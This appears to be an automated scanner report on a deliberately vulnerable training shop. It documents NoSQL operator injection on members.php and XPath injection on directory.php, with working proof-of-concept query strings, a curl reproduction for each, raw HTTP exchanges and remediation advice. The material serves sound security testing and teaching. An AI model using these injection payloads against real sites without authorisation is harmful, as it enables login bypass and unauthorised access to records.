How to fix. Reject request parameters that arrive as objects or arrays where a scalar is expected, and cast to the expected type before the value reaches the query builder.

What we verified The query engine interpreted an operator supplied in this parameter: the result set moved for a real operator and did not move for controls that only look like one.

What this can lead toOperator injection commonly turns a lookup into a filter the caller controls - matching records that should not match, including authentication bypass where the query backs a login. Assessment boundary: No records were read beyond what the endpoint already returns, and no authentication bypass was attempted.

How to fixReject request parameters that arrive as objects or arrays where a scalar is expected, and cast to the expected type before the value reaches the query builder.

location: GET https://sekumart.sekuripy.hr/members.php proved with 3 payloads
input: user in the query string
authentication: none - reachable anonymously
classification: CWE-943 · WASC-19
standards: OWASP Top 10 2025A05:2025 OWASP ASVS 5.0.0V1 OWASP WSTG 4.2WSTG-INPV-05 ISO/IEC 27001 2022A.8.28, A.8.29 NIST CSF 2.0ID.RA-01 PCI DSS 4.0.16.2.4, 6.3.1

Decisive evidence

NoSQL operator injection confirmed on user confirmed

Beyond $eq/$ne, 1 further operator pair(s) (in_nin) move the result set the way their own comparison semantics predict - $in with a one-element array means exactly what the untouched value meant, and $nin is its complement. Meanwhile a plain array and an operator no engine implements both leave the response alone. The parameter's shape is being turned into a query document, so we choose the comparison the back-end performs.

boundary

bracket

orientation

same

controls

bogus_operator, plain_array

Additional corroboration — 3

Demonstrated on user: the engine compiles a regular expression we supplied
Beyond confirming the class: the engine compiles a regular expression we supplied. Each of these was demonstrated against something already known - a predicate about the value we ourselves supplied, or a fact true of any document of this kind - so the demonstration has **no information gain** and read nothing out of the application. Reading a value we did not already have is extraction and stays behind an explicit flag.
Operator-shaped value changes the response for user
Sending a query-string operator ($ne) for user changed the response: 3284 bytes became 3468 (+6%), similarity 0.97, status 200 either way.
user is read as a query operator, not a value
$eq returns what the untouched value returned and $ne does not, so the parameter's *shape* is deciding the query rather than its content. Two controls still have to stay silent before that is a finding.

Reproduce

request GET https://sekumart.sekuripy.hr/members.php?user=ada bytes
poc|bracket|regex_honoured|same GET https://sekumart.sekuripy.hr/members.php?user%5B%24regex%5D=%5Ead HTTP 200 3270 bytes
poc|bracket|regex_honoured|other GET https://sekumart.sekuripy.hr/members.php?user%5B%24regex%5D=%5Esksaygpl4 HTTP 200 3195 bytes
selector|bracket|in_nin|same GET https://sekumart.sekuripy.hr/members.php?user%5B%24in%5D%5B%5D=ada HTTP 200 3270 bytes
selector|bracket|in_nin|other GET https://sekumart.sekuripy.hr/members.php?user%5B%24nin%5D%5B%5D=ada HTTP 200 3457 bytes
a $ne operator suffix GET https://sekumart.sekuripy.hr/members.php?user%5B%24ne%5D=ada HTTP 200 3468 bytes

poc|bracket|regex_honoured|same

curl -i -X GET 'https://sekumart.sekuripy.hr/members.php?user%5B%24regex%5D=%5Ead'

GET /members.php?user%5B%24regex%5D=%5Ead HTTP/1.1
Host: sekumart.sekuripy.hr

Raw exchanges — 6 recorded request/response pairs

baseline HTTP 200 https://sekumart.sekuripy.hr/members.php?user=ada

request

GET /members.php?user=ada HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1574
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 09:57:52 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — loyalty members</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href

baseline again, to locate per-request churn HTTP 200 https://sekumart.sekuripy.hr/members.php?user=ada

request

GET /members.php?user=ada HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1574
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 09:57:52 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — loyalty members</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href

baseline a third time - two samples make churn a coin flip HTTP 200 https://sekumart.sekuripy.hr/members.php?user=ada

request

GET /members.php?user=ada HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1574
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 09:57:52 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — loyalty members</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href

poc|bracket|regex_honoured|same HTTP 200 https://sekumart.sekuripy.hr/members.php?user%5B%24regex%5D=%5Ead

request

GET /members.php?user%5B%24regex%5D=%5Ead HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1572
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 09:57:52 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — loyalty members</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href

poc|bracket|regex_honoured|other HTTP 200 https://sekumart.sekuripy.hr/members.php?user%5B%24regex%5D=%5Esksaygpl4

request

GET /members.php?user%5B%24regex%5D=%5Esksaygpl4 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1541
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 09:57:52 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — loyalty members</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href

selector|bracket|in_nin|same HTTP 200 https://sekumart.sekuripy.hr/members.php?user%5B%24in%5D%5B%5D=ada

request

GET /members.php?user%5B%24in%5D%5B%5D=ada HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1572
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 09:57:46 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — loyalty members</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href

Detection details — how this was found and rated

checks: injection/nosqli
rating basis: P1 - server-side NoSQL injection
class: nosqli injection

All supporting observations

NoSQL operator injection confirmed on user injection/nosqli · critical
Beyond $eq/$ne, 1 further operator pair(s) (in_nin) move the result set the way their own comparison semantics predict - $in with a one-element array means exactly what the untouched value meant, and $nin is its complement. Meanwhile a plain array and an operator no engine implements both leave the response alone. The parameter's shape is being turned into a query document, so we choose the comparison the back-end performs.

resolution settled by ordering operators plus two controls boundary bracket orientation same controls bogus_operator, plain_array
Demonstrated on user: the engine compiles a regular expression we supplied injection/nosqli · critical
Beyond confirming the class: the engine compiles a regular expression we supplied. Each of these was demonstrated against something already known - a predicate about the value we ourselves supplied, or a fact true of any document of this kind - so the demonstration has **no information gain** and read nothing out of the application. Reading a value we did not already have is extraction and stays behind an explicit flag.

boundary bracket non destructive capability shown with zero information gain
Operator-shaped value changes the response for user injection/nosqli · medium
Sending a query-string operator ($ne) for user changed the response: 3284 bytes became 3468 (+6%), similarity 0.97, status 200 either way.

probe a $ne operator suffix baseline status 200 status for the probe 200 baseline size 3284 probe length 3468 similarity 0.97 response excerpt <!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekuma…
user is read as a query operator, not a value injection/nosqli · medium
$eq returns what the untouched value returned and $ne does not, so the parameter's *shape* is deciding the query rather than its content. Two controls still have to stay silent before that is a finding.

boundary bracket why exact text match on TRUE, difference on FALSE matched attribute text

critical XPath injection 1 affected location · /directory.php

Fix, once, everywhereUse a pre-compiled XPath expression with variable binding instead of building the expression by string concatenation.

GET/directory.php query string · q confirmed · high confidence BL-013 critical

Evidence. 3 construct(s) that only an XPath/XQuery engine parses (boolean_fn, string_length, node_context) each follow their own truth value, while a control built from the same characters around a nonexistent function produces no split at all. Function-call syntax on a bare boolean is not valid SQL, so the value is being compiled into an XPath expression rather than merely reaching a parser.

Why this proves it. 3 constructs that xpath parses fired while the control stayed silent, at the literal_and boundary.

How to fix. Use a pre-compiled XPath expression with variable binding instead of building the expression by string concatenation.

What we verified The value is interpolated into an XPath expression: the engine reported a malformed expression, or the truth value of a condition we supplied changed the result set.

What this can lead toXPath injection can widen a lookup to return records the caller should not see, and can be used to walk the whole document the query runs against. Assessment boundary: The document was not enumerated and no data was extracted.

How to fixUse a pre-compiled XPath expression with variable binding instead of building the expression by string concatenation.

location: GET https://sekumart.sekuripy.hr/directory.php proved with 4 payloads
input: q in the query string
authentication: none - reachable anonymously
classification: CWE-643 · WASC-39
standards: OWASP Top 10 2025A05:2025 OWASP ASVS 5.0.0V1 OWASP WSTG 4.2WSTG-INPV-09 ISO/IEC 27001 2022A.8.28, A.8.29 NIST CSF 2.0ID.RA-01 PCI DSS 4.0.16.2.4, 6.3.1

Decisive evidence

Only this grammar's constructs parsed confirmed

construct	verdict	weight	why it is here
boolean_fn	fired	decisive	only this grammar parses this construct
string_length	fired	decisive	only this grammar parses this construct
node_context	fired	decisive	only this grammar parses this construct
bogus_fn	silent	control	the same characters around a name nothing implements - it has to stay silent, or the differential was punctuation
permissive probe	silent	control	whether the parser FORGIVES names it does not know, which would make any construct meaningless

construct

verdict

weight

why it is here

boolean_fn

fired

decisive

only this grammar parses this construct

string_length

fired

decisive

only this grammar parses this construct

node_context

fired

decisive

only this grammar parses this construct

bogus_fn

silent

control

the same characters around a name nothing implements - it has to stay silent, or the differential was punctuation

permissive probe

silent

control

whether the parser FORGIVES names it does not know, which would make any construct meaningless

Why this proves it. 3 constructs that xpath parses fired while the control stayed silent, at the literal_and boundary.

Additional corroboration — 3

Demonstrated on q: addresses the document tree, not just a boolean; runs string functions over a value we chose
Beyond confirming the class: addresses the document tree, not just a boolean; runs string functions over a value we chose. Each of these was demonstrated against something already known - a predicate about the value we ourselves supplied, or a fact true of any document of this kind - so the demonstration has **no information gain** and read nothing out of the application. Reading a value we did not already have is extraction and stays behind an explicit flag.
XPath error from q (lxml / libxml2)
A single quote character produced a lxml / libxml2 error that the original response does not carry, so the value is compiled into an XPath expression.
q evaluates a supplied condition (literal_and boundary)
Closing the value as a literal_and context and supplying a condition built from a random constant: the true form returns the original page and the false form does not. That establishes an expression is evaluated here, but not yet which language - the same result would follow from SQL, an LDAP filter, SPARQL or OData.

Reproduce

request GET https://sekumart.sekuripy.hr/directory.php?q=Ada%20Lovelace bytes
... bytes — 1 intermediate steps
poc|literal_and|node_set|other GET https://sekumart.sekuripy.hr/directory.php?q=Ada%20Lovelace%27%20and%20count%28/%2A%29%3C0%20and%20%278lih9e%27%3D%278li… HTTP 200 3274 bytes
poc|literal_and|string_fn|same GET https://sekumart.sekuripy.hr/directory.php?q=Ada%20Lovelace%27%20and%20string-length%28%278lih9e%27%29%3D6%20and%20%278l… HTTP 200 3409 bytes
poc|literal_and|string_fn|other GET https://sekumart.sekuripy.hr/directory.php?q=Ada%20Lovelace%27%20and%20string-length%28%278lih9e%27%29%3E6%20and%20%278l… HTTP 200 3298 bytes
a single quote GET https://sekumart.sekuripy.hr/directory.php?q=Ada%20Lovelace%27 HTTP 200 3327 bytes

poc|literal_and|node_set|same

curl -i -X GET 'https://sekumart.sekuripy.hr/directory.php?q=Ada%20Lovelace%27%20and%20count%28/%2A%29%3E%3D1%20and%20%278lih9e%27%3D%278lih9e'

GET /directory.php?q=Ada%20Lovelace%27%20and%20count%28/%2A%29%3E%3D1%20and%20%278lih9e%27%3D%278lih9e HTTP/1.1
Host: sekumart.sekuripy.hr

Raw exchanges — 6 recorded request/response pairs

baseline HTTP 200 https://sekumart.sekuripy.hr/directory.php?q=Ada%20Lovelace

request

GET /directory.php?q=Ada%20Lovelace HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1594
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 09:57:46 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — staff directory</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href

baseline again, to locate per-request churn HTTP 200 https://sekumart.sekuripy.hr/directory.php?q=Ada%20Lovelace

request

GET /directory.php?q=Ada%20Lovelace HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1594
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 09:57:46 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — staff directory</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href

baseline a third time - two samples make churn a coin flip HTTP 200 https://sekumart.sekuripy.hr/directory.php?q=Ada%20Lovelace

request

GET /directory.php?q=Ada%20Lovelace HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1594
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 09:57:46 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — staff directory</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href

poc|literal_and|node_set|same HTTP 200 https://sekumart.sekuripy.hr/directory.php?q=Ada%20Lovelace%27%20and%20count%28/%2A%29%3E…

request

GET /directory.php?q=Ada%20Lovelace%27%20and%20count%28/%2A%29%3E%3D1%20and%20%278lih9e%27%3D%278lih9e HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1627
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 09:57:46 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — staff directory</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span 